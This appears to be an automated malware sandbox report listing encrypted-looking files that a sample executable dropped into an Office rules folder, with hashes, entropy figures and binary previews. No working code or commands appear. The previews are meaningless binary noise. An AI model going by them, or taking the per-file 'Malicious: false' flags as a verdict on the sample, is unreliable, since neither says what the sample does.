Preview:	<?xmla.:3&$.......k.1.x....\..X.7!..,...N..@....z...`.p..V..# .W.....>....D"b..q...b6..\8Tsa.<:....s.p9..p6zh5.X...a...Gesb$..........!x....l...`.....;.h.~.\.{..-..i.\.2c^...<.o.4.......F...mn..@g.......4..'.....9V._/B.5.hv...a@.("...7.........M..+..9".......x......'.s....'..5..;D@(..b0..{#...........F...z.....Oa.c.5..$......-...i...$,.[......I9.1l.)....>d.......Z....f.$}.%.(. u\|...\|......Me.I.>.U...+......sY...l.O..tX..s..r.......Kn..c.....,..J.Oz...@..Ra......!V.\|..A..}....)SA...0...q....2J..b..l.....Y..s...r.D.....t.N.2Yy.....B..\..{....Q..f.>.y..Fq(....../5..e...~.....[.zK..R` ........Z.$n..#u.....\|r&..<WU.b}....d.O.z\.@.3.v...#.a.X...........w.....!.5...){.........2.NAd.8....U..,Q..~8WPa.VK~1I.7...3..n.x.....+...{.!.B..4............na...Qk..#wws}..o..g.m..d...=.h...!.......1...~U..J.)..]AK..8....#{./.....:.q......\|q.zp+.....0..~...m".t...u).O...t#.j]\...5r..8\z.......z.g)K~.....q>:...`.0..\B.a!...3#...hA..Z...C....0.^..A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.851950049291859
Encrypted:	false
SSDEEP:	48:gioNUIWZ7E462DhzIxWUjO4rLD8JBRMxFD:giodWx62ZIxxLLDQRMx9
MD5:	B6AC12030BAB37C99FB29DFD427A672B
SHA1:	F7762526C9278F80A1F16ED4E1FD77706858118A
SHA-256:	6AF9B712633E7D372D71C12AAD96E90BF658A74AF2659B648DF261830268DD76
SHA-512:	77826ED5E972443A7B9D431DE8338FBB002CF0D39FFFD0FA6D83D17993CE4635F53DE42113420C944EF9FFEB265B581683EA636F995C55A5FF35DE88EFF3D730
Malicious:	false
Preview:	<?xml...........V.u...t]r.\|.u.h.l..`.BORxWv....<g...g&M5....:......T.W......I...Vr2...uY4.....K....lOlIb./\.w".P\.....PX..`........&l....\|$MC.....)...0.p.~F...X..6.fV...u. NTr..W.].\RM.....Zj.l...$.....qgU2.BJ.\|..\|....l...p..J...:d..k.W.K.D...Qy$.o.>4n.t...M..S$M5......3 ....o.....B.....t.c.SUS....#=Y....r...1.E....@1...zdL.............1../(w....F#.!...!..G..$.<.u.nWp...8R.!M1.C....95....E.Q.h......r1...62..:^..)_.8$H..c......3....i....pp....t.L.A..4aS@\&...T1P...34.F....8(.\.[.......qx..k...d.....^e...n...\|...y..v..."B.y......7....T..j..A.#..Ur...T..E.t.k.L..}).f.p.M.k.X...H..X..D..H.CZ...m.$!...8.n...%.....[Q..<{}.Q..s.@.+.......,X.6...bx<Hj.4GMM..Q-4h..V.\|...B...7..b..$]7F.gQ.Q.....)R.......7:..1..z9.+..&i..........Y...I3.wUC.E..J.j....P.O.8..c?u...$..+\..Uq...b........?;+.....{[[13...l.D......r6}HOxOG....x....hW.me..VnQy(.P.s}.....&(U..P.{..bL....R.b.TX........1.[.?e.x`Pg:.Fk..o...Q]f.../K?..P.[.@1Y..4kI.Z...k...W.B.N.6@.w...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.754214022818941
Encrypted:	false
SSDEEP:	12:znOXYiJ2tgyxpjNk5H9dqJnculQCeBOGYJ519H4+TVMbmZvCJjegI6t26ekIKjVX:T5xpjNOy7koH4oVImxCQL5OFVbD
MD5:	689AC699D116ED8EF377ECB361EF0C24
SHA1:	A88DDD11D5CDDAC5B32F02F074174878F1C96C8B
SHA-256:	B252142B4AF61697A5C066E9E430A04722241DEB52FBE6C41EC23C7921E324CB
SHA-512:	794788360AE791E6E1A823CEE2F66274192F7D0AD8BE618A1457FEB99D5DF62A49351F39B97E06CA56CB511BE86DB7200A2710BC08B0E5F29C0A0F193E1040A1
Malicious:	false
Preview:	<?xml.RE.F\2^.Z..2{./.W.G .......09t...#qy7.6..M.../F....79.......E.......%..?.Z...t.u..`......\......#.}o.. 6..m.t... ..2.`X._..JA7.E.O[.qt..cDc.w.n...1?d.\|...s.(..3....+.-../..8e^.D.q..$...$...`.{u.Q @ni.0f....2..r.h.+.4.9d...[\.W..(..L...N..dP.t....".}O....]....es.N#.Q.j9..f2[/vM..R..Kx.[8..1.=X(..r)%..R..h.F.Y.2Q...s.(< ....<...&..n...d..yt&".......S.......3.6.)..]I.C.....\&^.;sP.\|..M..B....\|..Qe...RIq...t'pK6.ts).k..[.b'L...&.v.OA&..l.u.Snc...c..6G..O...6.......a~..:..!.B......7XR...zx.y.-...b#4..)'...J.....r.P\|I..-..0_.r.'.\|..X.6s"...TA}u..N2.Rh$R.....n...rE.\............Z..Lo..zJ........7.)..X...].%`b.$HcZ^.4*...E..X..{r........%...i:..z~.7.g......r....6......qOg!.......Y.pF.Q...?..I...(...1...'..6.4..;.........e...f.2..n.+.w...8F\|.....2..v.....<...<>......m..l^N.\}Sitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.950672572265947
Encrypted:	false
SSDEEP:	96:ETvCwzmJBQdsDRMcSWytiPT7z6ulO/kelX9:EEHHRMcSVYmFblt
MD5:	00185EE42E7E3FAA7D6A463DC1A0071A
SHA1:	F9C1D2151DE7E93C001789C5589AAE89FD0B1019
SHA-256:	474F5F9F2FAC326148B7C0D460DDC43F49BD5E09AA02B8D0614FD71167B7F276
SHA-512:	CFCD594B3FD823592E1D96BB43591DE36E160B2BEFF329ECBA8380639F5EECCB231CA1434188B70496C768F97C7A3220AF70C95BF040319FE6B87FC896C131DB
Malicious:	false
Preview:	<?xml.t"2...1o..#_c.2)........z./.S....T.Ye.jn...b;k.&..g....Y....]..;..Q...\....?.rp..C-..#.....a.}..P$...=U%h.~...B.2....Z..@....!z.C....@i.."..v..U&.p........<K..@.....tv.....\E`..x.t7..3.b.? v.....@.../...4".W.~.'.......G.^.l.I..s....W..b.'\=..a......^/ ..D..x.[.M.......#.#..\|].;..T)..x....U@k...bf......`.OC.2..nh...U...KF..'.......&9.MA...].K.,.r..4z5.&Nao...OF.....)>...&A.u...vF...HZ..{7...%...iZL.&GG.a...GL=.%..3..U'.4.}.!...4s....j...2..V...0LB.l6.?.V......hLd.o.R.......{......-..0=....s..>.>.<.+.@<N.yF...'....ng..o.=.p.}..._...;.@..{...K....s.g..0<..[.#j.............I.+.[gH5:...~.lj..........p@&..:..3......5..b....V%;.....P....W......\L...rDe.6.H.Q..C.....Y.^...A..\|<.....WH.@.x...r\w....A."h.{.7Z...8..../.v..;WV..........$.$"g..>F,.y....Z.y#........81...I(.O.......9..u.......y...o...a..I[S..g).[dH.. Z...d.a........J.-....o.....@...9pD......y..s.t..6.3@....NU.)}...B..\...0......+XFE...R..?d...n. K.F'9.R..a...\|c..2.F.J.d..O.W5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.946615789887865
Encrypted:	false
SSDEEP:	96:tPGC49lMPsYgN9hLnDzfvE2/ipWbdMm4WzsNNCR9:cX9l6gN9NDzfvLFVdH
MD5:	BAA256239300C06E640B78023BE6909F
SHA1:	90157D9D418287389B56CC9683659E270E711F9D
SHA-256:	3CA7AE5BEA68E4EDA479E387C42D8CEBFE0AA1B3B2A90DBC6F5879A7DAAEA9B0
SHA-512:	22384C53618CF22D770113BD6E22A647B3DF1419F3D252350325171C9CC048826A619890170385808CA1B7F437EC8EF15BC4771BF594581010A5E069DFA90B86
Malicious:	false
Preview:	<?xml...af.v6Yu...!.3e..N......+........1..L...)L..q.J."..v.~.-...H.m.....08.yCsL.I......./."\|.T]..a."..y..#.RA.....wG..R.......[....5.v9u..y.0....S..x....kX...7...3W....H.}...Qi..@..............u..;i...,......^V...!..Q%.A.....L...\.".....].I.6d.....m...}.8...P.....=.X...I..y.....pT1.>.x.................4[.^..A.].~2.....:L.O.L.D..Q>OKKK....$_.p1....JRy..Tmo..K.l.1+...+.....%.Dj.....A_~...e>.a.t..}{b.......\|.....1..uw"......0#..&.........'0.........c....Nr0B.~$.qb=..;R..p;....u.........&.....ut..Q;...4'.p..K.1)SV.R_...3.w..E.V.z.../.T.J.".X....'qm...>!H..E.+R...i?.....)B).$I<d'.e....fV.u.e...PZ.#A.U.$.v..4.^...v......&;...P..D..&Z.$_.m.D4....-.Z.s.E.....K!.......T0.8O.#/;p.E..8..l.:...Y,.t...;69).nx...8.........l,...@..U>..?,..Pv.N...Z&H...1......8U....._...!.....6..v.d....!........l..Ba.<#.&h.3=M...RI..h..'n..q...QQ@.g......l.2a.l..4j..0@.=.4._/....i..'Z.J....E....Iv...(..BX..R.....j..D7+q.X\.#.....7..7..}... .4K...>.Q..?.6...7...2I;..u. )

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.663445292678766
Encrypted:	false
SSDEEP:	12:tF1Mpxsw+tJYnkzM/6ll7yziOWXXmrPSNVtWYi5i5maMkVqIuBjVcii9a:/ax8JYnULlabaVtC5aMjFJVbD
MD5:	9EE937D025C5310FD6A2CBA08D8EF30B
SHA1:	806C4553C525E5BDDEE76A0F0294A029A14BFC69
SHA-256:	0DDB5FA5AFE25EB584270EA0163901FDF76DD5EF722C4CBA2F7738FAFE4F3434
SHA-512:	9F75A6F1D336ABC0FD47AAA5B4EC386A7D1C24620CE46B8E25143C1823A67EA26BB8850F9DF1AF8D9E375EE983C00EF058CDD8D734B65628C808BCE39C47E37E
Malicious:	false
Preview:	<?xml4.i.......F..Q....R..N...Q.1..}..g".E.X.L.K05..V...qj..}s..fL...1..L."O........2..V..r&q..=.]PA]'a.C.y....cey.d.Y.h..:A.....F...W..6......zL8..I.....v.%...&..~.T.w.n\.LZ....+W.c-..$?.Bvjg.....M._...i.0<..R.+z+...."J.5..WC.....g.."1..U....F..Fl...RR.v^L...f...seGp.^....R....1s`..my..}..b.....W.....I[......C.l.m.3..O6...Z#...)d.t.uO.V..5.7a..+...(.2..."$....jYn)..jN4>1...(....1...n.g\|sH....oW.%.1#.]....].l}.....%...3.()B..j.m~0N.......9.-M.9dT...;..7.6)...$.X..&..C.....}i.3...Vy9._Z....?........:edI.O..A...?..O....X.'.-.M.A".X....k....5..g....c.4..fk."AW.E_.p....6......&.X..).K...%....../u........RI..m..7b...[6q.@....5.&BR.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.872392043873069
Encrypted:	false
SSDEEP:	48:wo82xjEyEYRnSGsTOzcDkvDOV7Zu8gKnvFD:WbUluOzOkvDC7v9
MD5:	04B224149618294D4F2DF0342E94E745
SHA1:	41C8C2DDE7F83DC1E334D15125099302D1C5663B
SHA-256:	A5A9C6A2B031A2849CECB1E98754079220B7BE5412904E16BBD8271409B79151
SHA-512:	FF113DC8AA30760B17D917E931F1084663B9FD922AAD2F9443185414DB487C0BBC8B350095A6E8C9EE6AC49DAE9858676696D8AF686550D3C98F2E99567C4485
Malicious:	false
Preview:	<?xml....[.h.....s".t.#by...N..\6T.K(.8..NX.k7. T0..!.c...#......A..0..U9a..uE.k.....P.^7.Y.....{"..+l.L...{..b..).o.O........B..o.D.c.3%..ky.{...HmNqD..g....7.<...b...J.nU...r:>.....R....KZ_...)Bv..R......mwd}.6A.%OW.4.....J........q6..&c.~............"!T.h.'.[.w.N..%I.1R...1K\...FIi.{'Z..\.U...a.@..0x.?`.t.>H...Z. ...@.N.x-...................y.).f.+B...~..x......8Q..Z......)..rs.i..R6c.S...`E1n.8..4.....<\....1.L...y.00S..]M.%...M...S\.$.r..}j.:a.w$.J<.YSho.....z^.......c..x..s..;.)..V4M...tL..8.Rl...v.."...."y..;......qi.2+..R7.#..=.14. .^Z...C..?w&...7.....B/..}...T..{..%..0QT\|.{.#l.c........zf...}.-.O....6n.t5m...;.v..h4@.3t\|.i...wowr.e,..c.'N.+..v/..T.H.`."....._l.h.F...!..We.o..i.NO...".....'..Xr.8s..l..b;R.+..I\|.2pK.I.(.m!&u...7.y..r2...1-W4..8.......q...N^.....: ......K......J...oD.].....v.eZ=..7j.49/..Pe....v..S.{......b....z;....G.N...C..b.....9MdHM..........i;r.Y.mQ......L.}Dp@t...t.a.0.$....oN.t.)}W.(.(..l....."P}5.;....i"..G.1P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.751682687229668
Encrypted:	false
SSDEEP:	24:Kw4Uc2IgChB1eLAT83ZXcgnLj6VsDVkW6LMJ/zidVbD:KZMIg+8qGLbYLMJ6FD
MD5:	E2DD9C12DF28D9A30EADFE133A6357E8
SHA1:	ED89FD8FC37FB70A9D133F440813B1438C52E121
SHA-256:	7F21E36D8BD2CB1996B5FDB8DD5B4F0355BF3E717DE07F0845D9ED65E649B6D1
SHA-512:	9D27F79072B24D51E07BC59721FC36D7EB096FD7373E5116EA1B5F5D09476A139540E12AEDC69BE77820A97D6CFC8E6BB3F49DAE73468C2B0C4E7F2705392923
Malicious:	false
Preview:	<?xml..X..].G.. J7..j...MN5.&......^..b.^..;.\.4.......O..Q.3.o..PL...K...]..]c+CS,...S..h.kE..q.,.V..8=.p!...H..a{....\|\|..>yW.2..#..'9...F..C..'._...5K....NY..bZM...\|.q.vY..pJyT.....t.J...s.wE.;.._....:.=......$e....e..}......m...s.n+l.....!.%......$6".WQrt-M(y[.h...S..4......-Y^..n.@[b....e...}..._.....\.h..-S....m..Y&a...YN..T....._..+..,(7...ty....\.h~..B.jZ.C..:'.QN..g.l.R..+.....R.uy9Z._......h.[.5@9...1..1t..H......F+.Q...\|.&....7m1.Tz..a..'q......Jf.d.h#.uW..-]....z.'...)/.....e..dc.........Q......*.8..J....bc.n5p.~XQ{v!u...nf...3....;(.{.p...4.4.[...3~..PS.p..uL...OJE.?.....S..4@.{.?...x...P...Y...l...Z.....Q.,9.....n.c.t.U....Z.>.......N..X&.....&.Z.n..i..q..=.5N.d.8D........I,y..f...)A.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.779557506166556
Encrypted:	false
SSDEEP:	24:NV5A1hfoc7V9JItSSPGVMAWJqkTJnQyV8Dn0ahE9q7ZsMVbD:No3fT3SPG6AWIkTJnQyQhHFD
MD5:	F7A10761B539126E489C9B973ABCE764
SHA1:	FA13B8460BC2B4B9A986A9742C8A37AC1B3CF862
SHA-256:	57C649E7A593E2189B8D8E90C819D6EA1DC25A7B32B6C463D9FD9DF88E5474D2
SHA-512:	06739CE06CEB4676597604AE8EC7EDE12B0581D0A7BBC6F3C92CEA6F50F7C5B4496A72C6B25A184F6920E2B66687A800159B45079F92772EC6DCC5A276363F0B
Malicious:	false
Preview:	<?xml..o.........)j..y.0.2zu\...5zO.67.A.}.e.E .2..d..y6.O.<.\|..[<..a6D..../c.J4.7....,...'Id. .R.T..]...XB...C.D..r.....+!...#(.b.gT..M.D.aT.....}....j.U..\}...0[...6..6..`......T.Q<.q...GFi.....E.7P..)5.k,q........5[..>.~n..sy..P.B.1....z....!......S.J.%........._+..Si.$Et,...U..\|........Gy.....?.n..........0..v.....s.X...7. .2~$./.U@...-...,...e.69....{.......\|...8.3...&.0....S..].p....?.a%ZOf...S.......O.?..O'wg..B........Y%"m-.,..Z.....P....`iO.E.m...9G...7.i-.K..C...EJ.+x`.....o,0.5M...@..P..^....^.........q..k...h.oY"...jt>(U....E.......2U\..>.y`..\|/a$.......]./w2....1b.1.....LC.i.......'.d.lw...!r..$+....W.l.>..h..G.W.............k_NF..C..*.(.%SX.R.II...h._\.....v.."G..]L..8..n..Lf.Q.%..._I{.{..\|.0.o....j.....{b....Fq~..nsqV.q..:..N...K.......f.\|.'.....V...<../..X...?%(.'i.)9....>.?..855.N...EZ.0....,E.......H......Y@a3mC..">....1!..8i.C..R..C...X.~..W..c;..../tH....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.840320276755498
Encrypted:	false
SSDEEP:	24:hUEoozO/Ik5TfQBO8qlfQwh3O1mprCC3NWoi4i3MH8xSVxrkLBZxkRMVbD:hUEPi/V5TfQVgO1m9CC9w13Nxgy1ZeM9
MD5:	76F67A7B92E25C67BA8BCB9B96BDEACA
SHA1:	C7F9D00E09A03F88DEAF0756B694DD4E43CC275D
SHA-256:	E5EF93D82FCB40D8A1C6760457E754EFC531B1CAA2704EFE4E6766FC94D44CB9
SHA-512:	0F257070F80CE87C3F30471713D7971698635E712B82673950AE449351FEBD503F025FDF7AA720219523C311C3AF441810B0A81C3575A88BF554D777CEE72DEA
Malicious:	false
Preview:	<?xml>..8y....?.>.GI'.#.N"x.....YgC....HH.2}..A..yM.$.(.......`.xF3w..\|...j.w..x.R%.."...}.N.r[n...w..#.H.".L..W.....)z..1.%I..G.5.....X.........i\..u.@E...TA.0.......6.Qa./...2..38Z@..B..........&>.....2...r...a`AdlX.Ie~......'.b.d2.S....3P.s \ .B.............P(.E....V.J...`N;~@2.R......Y..L.@......X...x..&.uu[....f...{-.@A.....;.B.9....[..y..._......C..c...F. .>1._.{..wj.\|..>F'/.....i......>...Z7.T..K...me..}}W%.........mBU.N.)..dO..B.8.'...\.k.1.6..X4&.k.=...!......._B.Q.........p..b..Os.........}>mka...!v"v.....,.......V....<My..V.........F..\!!$.-UU.[.e...`...p2.6.K.q{sP.~..N.u..}.go....0.!e../.N.4.q]Vj.7...s4,FT.e;.o..z..kLS.(.wm...iC......m.:.........<..%gxB2`.gr.X..]N...'....f....v,7...L.V..!..f....v.......A_i\|2....mzT.....%6..3...g.\./.I.7.....r...E.....z{.. u...s.t...(.........a..........D....X..:.dx.?......p......ZC3..9..nr...[.S.1..!{1.....*&.._er....u....e;A.>......~$..63Dm........[.{D8.f'z..1.....3.._..F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.88972850276719
Encrypted:	false
SSDEEP:	48:d7Ezaso4jmMhFy6qe1PDHBMwk1RGsbItfwhqwGqFdlEEDQdFD:d7EzM4aMHy6qWH6wMPIRqrPDQd9
MD5:	B880B38C045D4DA5DB204BD38494D4F0
SHA1:	C09FB74C2E90629CB789DB95838F3A73509E5939
SHA-256:	9DCA9F1D0A75F3418745F0F2C1530EA8290D48BD9D9CA68F6932BFE579730B87
SHA-512:	DBB21F7F74ED9A2A36F5D3B1FB8DBC5ED389F442D110703BC87FEBC2AE7C64E77B797B877B76DFDD47DE2AC5380FF1CD1277939265E10555D40A83C498456AB2
Malicious:	false
Preview:	.<?0...(:..>..$...3P.r.,rV.Y3....,..T....ij..m.t)....r.b..5...;...I7".....q..\.....>V."..\L......X.)2h. ...n.k.aR....\|./8K.~.}.......0e..['d...[.....sH.t....XP...B/^.@...WT....p.Z.i.F..t.]..`1........pl..O.....;Q.z(.$.2x.p,B.?^`CE.(...F.g.g-.5-:)q#.?...{O...M......H......u,..o..?..P..FF.\|^c0/....C..-...`&....{7.GZ....Z.m.......j../...o-C......X.{.w.1.;.s.m.K.3yf.d....8H..GW..(......'.N.....<...V.4...E.}.."....+u.['....#......\|....&.v..~.....G..\- ...7H.r#..@nK...A/.v.........z.....(.X2N....<lU.W..H....T..I..$.3J..>.l.......Mg....N9...B&..(........AZ.......^.V......{._,[.j..k...TD.,j?..`.g....Y[......i"...4..]R.Z.S.au%....l....e..]...L...52.K+ik."..^.......$./..F_.........,pv.V.#...&....>5=h.c.K.G.ZF.#...T.t8.[..@1..M.O.g}......^.`JnP.>..3..D.)..s\....HF]6.q\|z....jy:....}`.....B.`&.[..iL...........s\|...,.J.8..Y......[-.\|M..lV.!x.u9..R.}..f.....".SK.O.\|n.sr....f..0.ogVJJ....J.6..!..g.,...C..C....#9...r..l.{.3`../.LF......./S.a...,{5....5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.765628899982499
Encrypted:	false
SSDEEP:	24:p9qDZXg/hUArJkxFFYDngZbS8PR73rSk8TcerVbD:UZXAbrJWFOngZ/J7bSzTcerFD
MD5:	5D941E13AE4BCFC2A3E55F61ABB5E3F2
SHA1:	9A1A15C3083BC98F287932708922A03E33CB9D8C
SHA-256:	88DA0579C9979751B6694C28CB1BA7F0C0E3F4282DEA18D6A5CA3B234B764935
SHA-512:	3AD333FFE935474716A1D0EB2C6E627EF4BBD2282790C19AAFE2D2E6E65C11177EEC82F363C2AD871C095E148569EAEC5D3AAF8A983DAA4AF1FEFDE3820F488F
Malicious:	false
Preview:	.<?..T..oY..2.v.....:..B@dT.t.4..`K~T.. s.ol.g...hv.69.t<\|....j.......\a.......U@..}........I....M...E....Bq...E_?.T.......=......{.......~L3.TM.."..eb...G..U..\$..ON.p..{.W.. W\|F...........X...D..i81m..^..`..J..].d\...:..P.....#...Sz.xj.E..d.o.DR..7.ui)..b...].;.xV.)........ClT.$."....%W~.D\..(C+.z.#.0...V\.n....m.........!.API:].p..$..h..)..!.q......1..I.....".Pd_.$.r?....d...6....j.9..@vDk.9....X...C...]. .vf.x?[.9.<B;..\|......&Z..B.b.2..g...~={3......C.m.u.r!..y.]z.i.h....f..a....<.H.bzJO.."......K...b.^w=.[......k......P...B...$Y.ic..?WB.g$...0...'.0s.X..xh..9........7.4,.Z...l...h.lT....T...%.n.[.q..w..U.6.....-.X.D..b8l7J`w..b...]..cJ....2].M-]....%\|.?...8..Oq...W.!lZ.z...r....Z..].7...K)H!...-.u7.<.5..q)..Tn..j.N...h..[..V.....2...PO......\..#)8..h0AaV..`X2..2......N..o.)[.Kga...NSpy....nu...S"W..!K.=...{..g.e...N#.IJ].: ....(..d.....Q..^itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.956162905513222
Encrypted:	false
SSDEEP:	96:Y3BL5Y25QXjWqbRnLbCVvGbINbZAHSosDnqCSGQg9Ol6nzh9:YF5XQX3RLMB+HsqWV9jX
MD5:	093D1CDB2C37D7406B9F20D1D2EBFBD5
SHA1:	5E05FE0559EA137A6FE73CDB0EDD9288721A52B2
SHA-256:	DCD8F5EC0389B22F0CB38B290A9904DCB779641C6942D559CC929F961F9FA5F4
SHA-512:	F41591829E8C8C8FEC375132C218F82FCAFF0C9D5CFDE5BABA23B53685E45D80EBDAF66C233EAEA708D3F0B220EB04596E84F0E7A92334F60E1A64D19CACC11F
Malicious:	false
Preview:	<?xml..5...W..]...HP.K...........l@.Q..W .>......o(\t.g.......3..Bq..........j..r::.R.Y......8.g.~T6.]0L..^$.T....4B^(..B@..."........S._T.@...7J.)%.yX...O.!nM.&G..7.\...0..al.......>?$.<.........b`.Q.n....uV.b.'$d.E.SeNc!...8..(..]....u..(.....@:.ul.......y....,z.Q^".......s..=..............s..bH.D...o.......b@_0sT.H.7..$h.J.W...$...fJ......e..".....l.L~..`v.....6.......t8.#\ .T....Ls...E@TP...y.\................^.3..~.U..i.s.....-L..Z..J5...=..........0.\.7..C....$..M.._U.C.J..9t../......?.....Q..70.......9.s....A....b....6...N.e._.X.W.b.7n.LG.)......@.n....[G..v.....=..=7~..2.sk...'...6.'...t>..z..H.V...?.N.K.%."~..."./+.Aj.>......m.].Jj.m.S-IzmO...4.....V...;..YAy..C.-.....,.vgN9F....6..{.......Hs..I....:x.o8..Pyx.E)k\|.g.2.Xa.E..W.{..^A..wm^.8.].$f._..>...[.xt40..8.~(.C..G...!v.Y>$.<P..&Wez_.>..fW.........M...v.P.#.S...!....X.G6.)..5......]...=.Of.[n....K...ML.....%<..6.<{..$}..+...s..f..g.W.[...`.s.\|... .3...6t%.'.}...k......-.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.927301041309031
Encrypted:	false
SSDEEP:	48:OxRupFvHs//UVbScrfMpr5Qss7a0A/SUU6ZEG8ZkfAeg5ENMQNVDfZFD:iUvYUOs7a0NUU69AerDR9
MD5:	7A4A365125329198A9EEB9E05D4ACEC6
SHA1:	700CDE56FEEB150D99212FF35579EC352087E128
SHA-256:	B694CB1C33C0BB6FC8F59073566690234853192C68CEB9688802D8DB91606378
SHA-512:	957E2816101C0BA8F290094D5E7E64FC5D875A62528CB11D3F6514C78B2DBDD8EDA3CC7E3B3502468518AAC8474989C2182F69EF5BA08CB1968BE96BB89DCBA1
Malicious:	false
Preview:	<?xml...t..Lv....u..C.....@L...,."AF......g.\^...A.....`...[ .D-PtD.L.:Bw;?<9.@....".^.~8T...=.S.VZ...=....=.-...;.'.-:&.,.$....{P.....r{&.D.P.+!.v..'..$..9Y.....kMH.b/.H.A.....q5N......-]CmK`.c....(.6.T..{+.!r...B..c...8.G.P=...[..t-.7T.l.54...8.....\|.S.B..!M.s.f..\d.B....Q.~..)n~ .:3..H.%.C.E......./.=Cf......3.xV..R....J..T`H...}{ 4..q..3%..G1.xE...3...3.q.X.=..~P..^m.......p$....:...S4....R..E.P0n........?...&.....A.....{...PuJ..^.}.o....bg.._..,/_...?.N..XR.&.,..Yr.N.Q..)0..*]..8.<&.....J....~......t.".Cq..Z..+......z..C\|j.)....9d..^.A;'.\. .M..2C].......y.....w..Vnv.....j..0_.........<....w....P6.L.".+.....o.V....3......mu>t..+...<.c.AZ.7:.....m..I..[.kR.W..G;....C Q...OK... ...\..f&...g.....S...t.#N...`.e.d.L......rP"\Gj..S........7U&--..U2.Y.5.L.V..m.Ujo.[.K=.....u^.sJ..J....r..HDC..=....me.[Y......MWX..A.G.d^".;.U,/m..G....R....87.r....'... !1......U_..n[0...k..[['a...gi.v.F.!..."l.(~..I.V...a].v...wk.k~.1P.........Q .......do

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.95507542922033
Encrypted:	false
SSDEEP:	96:TGwE7XUWi6+llYrcfsCe9LvmWMCOxUju25FWTptru9:CvIVfsCOqW5Oixfqr+
MD5:	5D4CBDF71F0A35FE68B6479EF9D4560E
SHA1:	B6F9722560A7B1B9DF0F0BF365918E6EA72C2DC3
SHA-256:	98E6584FD0956DAF6F66092AE0B27192491F5023479919BAF9AD6485E3DEAAA5
SHA-512:	2C8FF1C285D0C1D986F4F7EB4536161BD4AA99B91FFA0FF8C0959B718365A280A9A7C3CC92AB03BB86512CA9D9BC222B9DDDC18B20D4A19627CB71897057ED2B
Malicious:	false
